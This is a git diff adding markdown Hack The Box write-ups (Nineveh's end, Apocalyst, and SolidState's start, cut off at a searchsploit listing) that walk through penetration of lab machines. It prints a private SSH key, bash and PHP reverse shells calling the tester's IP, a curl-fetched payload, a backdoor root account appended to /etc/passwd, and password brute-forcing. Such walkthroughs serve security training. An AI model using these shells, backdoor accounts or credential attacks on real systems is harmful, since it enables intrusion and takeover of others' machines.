i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc + il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7 + fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG + -----END RSA PRIVATE KEY-----** + secret/nineveh.pub + 0000644 + 0000041 + 0000041 + 00000000620 + 13126060277 + 014541 + ustar + www-data + www-data + **ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuL0RQPtvCpuYSwSkh5OvYoY//CTxgBHRniaa8c0ndR+wCGkgf38HPVpsVuu3Xq8fr+N3ybS6uD8Sbt38Umdyk+IgfzUlsnSnJMG8gAY0rs+FpBdQ91P3LTEQQfRqlsmS6Sc/gUflmurSeGgNNrZbFcNxJLWd238zyv55MfHVtXOeUEbkVCrX/CYHrlzxt2zm0ROVpyv/Xk5+/UDaP68h2CDE2CbwDfjFmI/9ZXv7uaGC9ycjeirC/EIj5UaFBmGhX092Pj4PiXTbdRv0rIabjS2KcJd4+wx1jgo4tNH/P6iPixBNf7/X/FyXrUsANxiTRLDjZs5v7IETJzVNOrU0R amrois@nineveh.htb** + + + +so we save them both locally : + + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → nano pkey + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → nano pubkey + + + +before we use the ssh key though, we need to somehow open the port 22, so we check /etc/knockd.conf to see what we should do : + + + $ cat /etc/knockd.conf + [options] + logfile = /var/log/knockd.log + interface = ens33 + + [openSSH] + sequence = 571, 290, 911 + seq_timeout = 5 + start_command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT + tcpflags = syn + + [closeSSH] + sequence = 911,290,571 + seq_timeout = 5 + start_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT + tcpflags = syn + + +Now we need to basically scan each of the mentionned ports (911,290,571) to open the port 22 (ssh), so we run the according nmap scan to scan the ports we need in the CORRECT sequence : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → for x in 571 290 911 22; do nmap -Pn --max-retries 0 -p $x 10.10.10.43; done + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 14:41 GMT + Warning: 10.10.10.43 giving up on port because retransmission cap hit (0). + Nmap scan report for nineveh.htb (10.10.10.43) + Host is up. + + PORT STATE SERVICE + 571/tcp filtered umeter + + Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 14:41 GMT + Warning: 10.10.10.43 giving up on port because retransmission cap hit (0). + Nmap scan report for nineveh.htb (10.10.10.43) + Host is up. + + PORT STATE SERVICE + 290/tcp filtered unknown + + Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 14:41 GMT + Warning: 10.10.10.43 giving up on port because retransmission cap hit (0). + Nmap scan report for nineveh.htb (10.10.10.43) + Host is up. + + PORT STATE SERVICE + 911/tcp filtered xact-backup + + Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 14:41 GMT + Nmap scan report for nineveh.htb (10.10.10.43) + Host is up (0.100s latency). + + PORT STATE SERVICE + 22/tcp open ssh + + Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds + + +and port 22 is opened ! now let's connect with our ssh key as the user amrois: + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → chmod 600 pkey + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → ssh -i pkey amrois@10.10.10.43 + The authenticity of host '10.10.10.43 (10.10.10.43)' can't be established. + ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.43' (ECDSA) to the list of known hosts. + Ubuntu 16.04.2 LTS + Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 133 packages can be updated. + 66 updates are security updates. + + + You have mail. + Last login: Mon Jul 3 00:19:59 2017 from 192.168.0.14 + amrois@nineveh:~$ cat /home/amrois/user.txt + 82XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we finally have the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc we need to take a look at the /usr/bin/ directory containing the chkrootkit executable : + + + amrois@nineveh:/usr/bin$ cd ~ + amrois@nineveh:~$ ls + user.txt + amrois@nineveh:/tmp$ which curl + /usr/bin/curl + amrois@nineveh:~$ ls -lash /usr/bin/ | grep chkroot + 76K -rwx--x--x 1 root root 75K Jul 2 2017 chkrootkit + amrois@nineveh:~$ file /usr/bin/chkrootkit + /usr/bin/chkrootkit: executable, regular file, no read permission + + +and we see that it's owned by root ! now running a quick searchsploitcommand we see that we can do the following to gain root access thanks to this chkrootkit binary : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → searchsploit chkrootkit + ----------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ----------------------------------------------------------------------------- ---------------------------------------- + Chkrootkit - Local Privilege Escalation (Metasploit) | exploits/linux/local/38775.rb + Chkrootkit 0.49 - Local Privilege Escalation | exploits/linux/local/33899.txt + ----------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + λ nihilist [ 10.10.14.20/23 ] [~] + → locate 33899.txt + /usr/share/exploitdb/exploits/linux/local/33899.txt + + λ nihilist [ 10.10.14.20/23 ] [~] + → cat /usr/share/exploitdb/exploits/linux/local/33899.txt + + + + Steps to reproduce: + + - Put an executable file named 'update' with non-root owner in /tmp (not + mounted noexec, obviously) + - Run chkrootkit (as uid 0) + + Result: The file /tmp/update will be executed as root, thus effectively + rooting your box, if malicious content is placed inside the file. + + If an attacker knows you are periodically running chkrootkit (like in + cron.daily) and has write access to /tmp (not mounted noexec), he may + easily take advantage of this. + + + +so to replicate the aforementionned steps, we'll put into our update file placed in /tmp the reverse shell one liner we used twice already : uploading it thanks to the curl command which is there on the machine. + + + #!/bin/bash + bash -i >& /dev/tcp/10.10.14.20/9003 0>&1 + + +` _Terminal 1 :_ + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → nano update + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → python -m SimpleHTTPServer 7070 + Serving HTTP on 0.0.0.0 port 7070 ... + + +` _Terminal 2 :_ + + + amrois@nineveh:/tmp$ curl -sk http://10.10.14.20:7070/update > update + amrois@nineveh:/tmp$ ls -lash | grep update + 4.0K -rw-rw-r-- 1 amrois amrois 71 Feb 25 08:59 update + amrois@nineveh:/tmp$ chmod +x update + + amrois@nineveh:~$ cat /tmp/update + #!/bin/bash + bash -i >& /dev/tcp/10.10.14.20/9003 0>&1 + + +` _Terminal 3 :_ + + + λ nihilist [ 10.10.14.20/23 ] [~] + → nc -lvnp 9003 + listening on [any] 9003 ... + connect to [10.10.14.20] from (UNKNOWN) [10.10.10.43] 41598 + bash: cannot set terminal process group (19824): Inappropriate ioctl for device + bash: no job control in this shell + root@nineveh:~# cat /root/root.txt + cat /root/root.txt + 8aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And after waiting a minute for chkrootkit to execute our infected /tmp/update file, we get a reverse shell as root ! and we've been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/10_graph.png) + diff --git a/Medium/11.md b/Medium/11.md new file mode 100644 index 0000000..1a5ed32 --- /dev/null +++ b/Medium/11.md @@ -0,0 +1,381 @@ +# Apocalyst Writeup + +![](img/11.png) + +## Introduction : + +Apocalyst is a medium linux box released back in August 2017 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.7/23 ] [~] + → nmap -F 10.10.10.46 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 12:27 GMT + Nmap scan report for 10.10.10.46 + Host is up (0.11s latency). + Not shown: 98 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 1.73 seconds + + + λ nihilist [ 10.10.14.7/23 ] [~] + → nmap -sCV -p80,22 10.10.10.46 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 12:28 GMT + Nmap scan report for 10.10.10.46 + Host is up (0.095s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA) + | 256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA) + |_ 256 12:12:cf:f1:7f:be:43:1f:d5:e6:6d:90:84:25:c8:bd (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-generator: WordPress 4.8 + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Apocalypse Preparation Blog + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 12.64 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up the 80th port running http so let's investigate it : + +![](prg/11_001.png) + + + λ root [ 10.10.14.11/23 ] [/home/nihilist] + → echo '10.10.10.46 apocalyst.htb' >> /etc/hosts + + +` ![](prg/11_002.png) + +Once we add the apocalyst.htb domain name to our /etc/hosts file, we fix the formatting issue of what seems to be a wordpress website. Now let's run the wpscan command to see if we can find anything obvious : + + + λ root [ 10.10.14.11/23 ] [/home/nihilist] + → wpscan --url http://10.10.10.46 -e + _______________________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® + \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + + WordPress Security Scanner by the WPScan Team + Version 3.7.8 + Sponsored by Automattic - https://automattic.com/ + @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart + _______________________________________________________________ + + [+] URL: http://10.10.10.46/ + [+] Started: Mon Mar 2 14:32:34 2020 + + Interesting Finding(s): + + [+] http://10.10.10.46/ + | Interesting Entry: Server: Apache/2.4.18 (Ubuntu) + | Found By: Headers (Passive Detection) + | Confidence: 100% + + [+] http://10.10.10.46/xmlrpc.php + | Found By: Direct Access (Aggressive Detection) + | Confidence: 100% + | References: + | - http://codex.wordpress.org/XML-RPC_Pingback_API + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner + | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login + | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access + + [i] User(s) Identified: + + [+] falaraki + | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) + | Confirmed By: Login Error Messages (Aggressive Detection) + + [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. + [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up + + [+] Finished: Mon Mar 2 14:33:48 2020 + [+] Requests Done: 3064 + [+] Cached Requests: 43 + [+] Data Sent: 757.552 KB + [+] Data Received: 440.874 KB + [+] Memory used: 203.988 MB + [+] Elapsed time: 00:01:14 + + + +And we have a username ! falaraki now let's make a directory wordlist using cewl, and then use owasp's dirbuster using the wordlist we created. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Apocalyst] + → cewl http://10.10.10.46 > directories.txt + + +and now passing the wordlist to dirbuster : + +![](prg/11_003.png) ![](prg/11_004.png) + +Here we see that there is something odd with the Rightiousness directory, the size of the response doesn't correspond to the others (421 and here 440) So upon further investigation, we see that the webpage in question has just one image in jpg format. Looking at the sourcecode we get hinted towards a "needle" or perhaps in this case, steganography that's why we'll use the steghide command : + +![](prg/11_005.png) + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Apocalyst] + → wget http://10.10.10.46/Rightiousness/image.jpg + --2020-03-02 14:49:22-- http://10.10.10.46/Rightiousness/image.jpg + Connecting to 10.10.10.46:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 215541 (210K) [image/jpeg] + Saving to: ‘image.jpg’ + + image.jpg 100%[===============================================>] 210.49K 435KB/s in 0.5s + + 2020-03-02 14:49:23 (435 KB/s) - ‘image.jpg’ saved [215541/215541] + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Apocalyst] + → steghide extract -sf image.jpg + Enter passphrase: + wrote extracted data to "list.txt". + + + +And we get a wordlist named "list.txt", let's try to use this wordlist as a password, using wpscan one more time. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Apocalyst] + → sudo wpscan --url http://apocalyst.htb --usernames falaraki --passwords list.txt + [sudo] password for nihilist: + _______________________________________________________________ + __ _______ _____ + \ \ / / __ \ / ____| + \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® + \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ + \ /\ / | | ____) | (__| (_| | | | | + \/ \/ |_| |_____/ \___|\__,_|_| |_| + + WordPress Security Scanner by the WPScan Team + Version 3.7.8 + Sponsored by Automattic - https://automattic.com/ + @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart + _______________________________________________________________ + + [+] URL: http://apocalyst.htb/ + [+] Started: Mon Mar 2 14:53:34 2020 + + Interesting Finding(s): + + [+] Performing password attack on Wp Login against 1 user/s + [SUCCESS] - falaraki / Transclisiation + Trying falaraki / total Time: 00:00:16 <==========================================> (335 / 335) 100.00% Time: 00:00:16 + + [i] Valid Combinations Found: + | Username: falaraki, Password: Transclisiation + + [!] No WPVulnDB API Token given, as a result vulnerability data has not been output. + [!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up + + [+] Finished: Mon Mar 2 14:54:01 2020 + [+] Requests Done: 388 + [+] Cached Requests: 5 + [+] Data Sent: 116.313 KB + [+] Data Received: 1.533 MB + [+] Memory used: 184.266 MB + [+] Elapsed time: 00:00:26 + + +and we have found credentials ! falaraki:Transclisiation so let's try to login at the corresponding url http://apocalyst.htb/wp-login : + +![](prg/11_006.png) ![](prg/11_007.png) + +And we are logged in ! now moving over to the appearance page we'll upload our reverse php shell : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Apocalyst] + → locate nihilist.php + /home/nihilist/_HTB/Bastard/nihilist.php + /home/nihilist/_HTB/Cronos/nihilist.php + /home/nihilist/_HTB/Haircut/nihilist.php + /home/nihilist/_HTB/Networked/nihilist.php.gif + /home/nihilist/_HTB/October/nihilist.php5 + /home/nihilist/_HTB/Popcorn/nihilist.php + /home/nihilist/_HTB/Popcorn/nihilist.php.gif + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Apocalyst] + → cp /home/nihilist/_HTB/Cronos/nihilist.php . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Apocalyst] + → nano nihilist.php + + + + <****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'"); + ?****> + +` ![](prg/11_008.png) + +Once we have updated the 404.php page we just have to browse to it for it to connect back to us: + +![](prg/11_009.png) + +And we get a reverse shell as www-data ! let's see if we can print out the user flag : + + + www-data@apocalyst:/$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + www-data@apocalyst:/$ cd home + cd home + www-data@apocalyst:/home$ ls + ls + falaraki + www-data@apocalyst:/home$ cd falaraki + cd falaraki + www-data@apocalyst:/home/falaraki$ cat user.txt + cat user.txt + 91XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now before we attempt to privesc let's spawn a tty shell using python3, since python1 isn't there on the machine. + + + www-data@apocalyst:/home/falaraki$ which python + which python + www-data@apocalyst:/home/falaraki$ which python3 + which python3 + /usr/bin/python3 + www-data@apocalyst:/home/falaraki$ python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' + www-data@apocalyst:/home/falaraki$ ls + ls + user.txt + + www-data@apocalyst:/home/falaraki$ which wget + which wget + /usr/bin/wget + + +Now that we have wget on the machine, we can enumerate the machine by uploading LinEnum.sh into the /tmp directory. + + + ww-data@apocalyst:/home/falaraki$ cd /tmp + cd /tmp + www-data@apocalyst:/tmp$ wget 10.10.14.11:1234/LinEnum.sh + wget 10.10.14.11:1234/LinEnum.sh + --2020-03-02 15:28:52-- http://10.10.14.11:1234/LinEnum.sh + Connecting to 10.10.14.11:1234... connected. + HTTP request sent, awaiting response... 200 OK + Length: 46631 (46K) [text/x-sh] + Saving to: 'LinEnum.sh' + + LinEnum.sh 100%[===================>] 45.54K 225KB/s in 0.2s + + 2020-03-02 15:28:52 (225 KB/s) - 'LinEnum.sh' saved [46631/46631] + + www-data@apocalyst:/tmp$ chmod +x LinEnum.sh + chmod +x LinEnum.sh + www-data@apocalyst:/tmp$ ./LinEnum.sh + + +Then looking at the results, we see that we can read/write (RW) into sensitive files within /etc most notably passwd, group, noprofile or shadow. so let's use openssl to generate a password (123) : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → openssl passwd -1 + Password: + Verifying - Password: + $1$nxydvNly$fw09LyfykjjXEd3RXeRo5/ + + +Now with this we can construct a line to add in /etc/passwd : + + + root2:$1$nxydvNly$fw09LyfykjjXEd3RXeRo5/:0:0:root2:/root:/bin/bash + + + + www-data@apocalyst:/etc$ echo 'root2:$1$nxydvNly$fw09LyfykjjXEd3RXeRo5/:0:0:root2:/root:/bin/bash' >> passwd + + www-data@apocalyst:/etc$ cat passwd + cat passwd + root:x:0:0:root:/root:/bin/bash + daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + bin:x:2:2:bin:/bin:/usr/sbin/nologin + sys:x:3:3:sys:/dev:/usr/sbin/nologin + sync:x:4:65534:sync:/bin:/bin/sync + games:x:5:60:games:/usr/games:/usr/sbin/nologin + man:x:6:12:man:/var/cache/man:/usr/sbin/nologin + lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin + mail:x:8:8:mail:/var/mail:/usr/sbin/nologin + news:x:9:9:news:/var/spool/news:/usr/sbin/nologin + uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin + proxy:x:13:13:proxy:/bin:/usr/sbin/nologin + www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin + backup:x:34:34:backup:/var/backups:/usr/sbin/nologin + list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin + irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin + gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin + nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin + systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false + systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false + systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false + systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false + syslog:x:104:108::/home/syslog:/bin/false + _apt:x:105:65534::/nonexistent:/bin/false + lxd:x:106:65534::/var/lib/lxd/:/bin/false + messagebus:x:107:111::/var/run/dbus:/bin/false + uuidd:x:108:112::/run/uuidd:/bin/false + dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false + falaraki:x:1000:1000:Falaraki Rainiti,,,:/home/falaraki:/bin/bash + sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin + mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false + nihilist:$1$k48ck7uo$/CibZLSHGr7wiCQJWNQNW./:0:0:nihilist:/root:/bin/bash + nihilist:$1$dkV9okB6$oRhhfakYp7/2QRZpsD0570/:0:0:nihilist:/root:/bin/bash + root2:$1$nxydvNly$fw09LyfykjjXEd3RXeRo5/:0:0:root2:/root:/bin/bash + + +Now that's done let's su as root2 + + + www-data@apocalyst:/etc$ su root2 + su root2 + Password: 123 + + root@apocalyst:/etc# id + id + uid=0(root) gid=0(root) groups=0(root) + + +And that's it ! we have been able to log into the second root user we just created, effectively escalating privileges to the root permissions. now we just have to print our root flag : + + + root@apocalyst:/etc# cat /root/root.txt + cat /root/root.txt + 1cXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/11_graph.png) + diff --git a/Medium/12.md b/Medium/12.md new file mode 100644 index 0000000..f8e8227 --- /dev/null +++ b/Medium/12.md @@ -0,0 +1,464 @@ +# SolidState Writeup + +![](img/12.png) + +## Introduction : + +Solidstate is a medium Linux box released back in September 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -F 10.10.10.51 --top-ports 50000 -vvv + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 06:15 GMT + Initiating Ping Scan at 06:15 + Scanning 10.10.10.51 [2 ports] + Completed Ping Scan at 06:15, 0.20s elapsed (1 total hosts) + Initiating Parallel DNS resolution of 1 host. at 06:15 + Completed Parallel DNS resolution of 1 host. at 06:15, 0.01s elapsed + DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] + Initiating Connect Scan at 06:15 + Scanning 10.10.10.51 [8320 ports] + Discovered open port 22/tcp on 10.10.10.51 + Discovered open port 25/tcp on 10.10.10.51 + Discovered open port 80/tcp on 10.10.10.51 + Discovered open port 110/tcp on 10.10.10.51 + Increasing send delay for 10.10.10.51 from 0 to 5 due to max_successful_tryno increase to 4 + Increasing send delay for 10.10.10.51 from 5 to 10 due to max_successful_tryno increase to 5 + Discovered open port 119/tcp on 10.10.10.51 + Connect Scan Timing: About 18.68% done; ETC: 06:18 (0:02:15 remaining) + Discovered open port 4555/tcp on 10.10.10.51 + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 06:17 GMT + Nmap scan report for 10.10.10.51 + Host is up (0.23s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) + | ssh-hostkey: + | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) + | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) + |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) + 25/tcp open smtp JAMES smtpd 2.3.2 + |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.11 [10.10.14.11]), + 80/tcp open http Apache httpd 2.4.25 ((Debian)) + |_http-server-header: Apache/2.4.25 (Debian) + |_http-title: Home - Solid State Security + 110/tcp open pop3 JAMES pop3d 2.3.2 + 119/tcp open nntp JAMES nntpd (posting ok) + 4555/tcp open james-admin JAMES Remote Admin 2.3.2 + Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 26.99 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80, so let's investigate it : + +![](prg/12_001.png) + +Browsing at the bottom we find an username : webadmin + +![](prg/12_002.png) + +now let's dirsearch the website to see if we find anything interesting : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → dirsearch -u http://10.10.10.51/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -e php,txt,html,js,xml + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, txt, html, js, xml | HTTP method: get | Threads: 50 | Wordlist size: 87646 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-03_06-21-26.log + + Target: http://10.10.10.51/ + + [06:21:27] Starting: + [06:21:29] 301 - 311B - /images -> http://10.10.10.51/images/ + [06:21:29] 200 - 8KB - / + [06:21:30] 301 - 311B - /assets -> http://10.10.10.51/assets/ + + Task Completed + + +` ![](prg/12_003.png) ![](prg/12_004.png) + +Doesn't seem like there's much on it, so let's investigate the port 4555 : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → nc 10.10.10.51 4555 + JAMES Remote Administration Tool 2.3.2 + Please enter your login and password + Login id: + root + + Password: + root + + Welcome root. HELP for a list of commands + HELP + + Currently implemented commands: + help display this help + listusers display existing accounts + countusers display the number of existing accounts + adduser [username] [password] add a new user + verify [username] verify if specified user exist + deluser [username] delete existing user + setpassword [username] [password] sets a user's password + setalias [user] [alias] locally forwards all email for 'user' to 'alias' + showalias [username] shows a user's current email alias + unsetalias [user] unsets an alias for 'user' + setforwarding [username] [emailaddress] forwards a user's email to another email address + showforwarding [username] shows a user's current email forwarding + unsetforwarding [username] removes a forward + user [repositoryname] change to another user repository + shutdown kills the current JVM (convenient when James is run as a daemon) + quit close connection + + +trying out the default credentials (root:root) we log in as the root user now let's see what we have : + + + Welcome root. HELP for a list of commands + listusers + Existing accounts 5 + user: james + user: thomas + user: john + user: mindy + user: mailadmin + + setpassword james nihilist + Password for james reset + + setpassword thomas nihilist + Password for thomas reset + + setpassword john nihilist + Password for john reset + + setpassword mindy nihilist + Password for mindy reset + + setpassword mailadmin nihilist + Password for mailadmin reset + + +We get a bunch of users so let's change their passwords to something easy to remember and investigate the pop3 service running on port 110 : + + + POP3: + + USER user + PASS password + STAT + LIST + RETR nbmessage + + + + λ nihilist [ 10.10.14.11/23 ] [~] + → telnet 10.10.10.51 110 + Trying 10.10.10.51... + Connected to 10.10.10.51. + Escape character is '^]'. + +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready + USER james + +OK + PASS nihilist + +OK Welcome james + STAT + +OK 0 0 + LIST + +OK 0 0 + . + RETR 1 + -ERR Message (1) does not exist. + + +Using telnet to access the POP3 service, we login as the james user but see that he doesn't have any interesting mail. so let's move on to the 2 interesting ones : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → telnet 10.10.10.51 110 + Trying 10.10.10.51... + Connected to 10.10.10.51. + Escape character is '^]'. + +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready + USER mindy + +OK + PASS nihilist + +OK Welcome mindy + STAT + +OK 2 1945 + LIST + +OK 2 1945 + 1 1109 + 2 836 + . + RETR 2 + +OK Message follows + Return-Path: <****mailadmin@localhost> + Message-ID: <****16744123.2.1503422270399.JavaMail.root@solidstate> + MIME-Version: 1.0 + Content-Type: text/plain; charset=us-ascii + Content-Transfer-Encoding: 7bit + Delivered-To: mindy@localhost + Received: from 192.168.11.142 ([192.168.11.142]) + by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 + for <****mindy@localhost>; + Tue, 22 Aug 2017 13:17:28 -0400 (EDT) + Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT) + From: mailadmin@localhost + Subject: Your Access + + Dear Mindy, + + + Here are your ssh credentials to access the system. Remember to reset your password after your first login. + Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path. + + username: mindy + pass: P@55W0rd1!2@ + + Respectfully, + James + + . + +and we get credentials ! mindy:P@55W0rd1!2@ , from there we'll just ssh as mindy : + + + λ nihilist [ 10.10.14.11/23 ] [~] + → ssh mindy@10.10.10.51 + The authenticity of host '10.10.10.51 (10.10.10.51)' can't be established. + ECDSA key fingerprint is SHA256:njQxYC21MJdcSfcgKOpfTedDAXx50SYVGPCfChsGwI0. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.51' (ECDSA) to the list of known hosts. + mindy@10.10.10.51's password: + Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142 + mindy@solidstate:~$ id + -rbash: id: command not found + mindy@solidstate:~$ id + -rbash: id: command not found + mindy@solidstate:~$ whoami + -rbash: whoami: command not found + mindy@solidstate:~$ cat user.txt + + 91XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have the user flag. + +## **Part 3 : Getting Root Access** + +Trying to privesc from a limited rbash shell is quite a pain so let's see if we can find another way in most notably using this exploit : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/SolidState] + → searchsploit apache james 2.3 + ----------------------------------------------------- ------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ----------------------------------------------------- ------------------------------- + Apache James Server 2.3.2 - Remote Command Execution | exploits/linux/remote/35513.py + 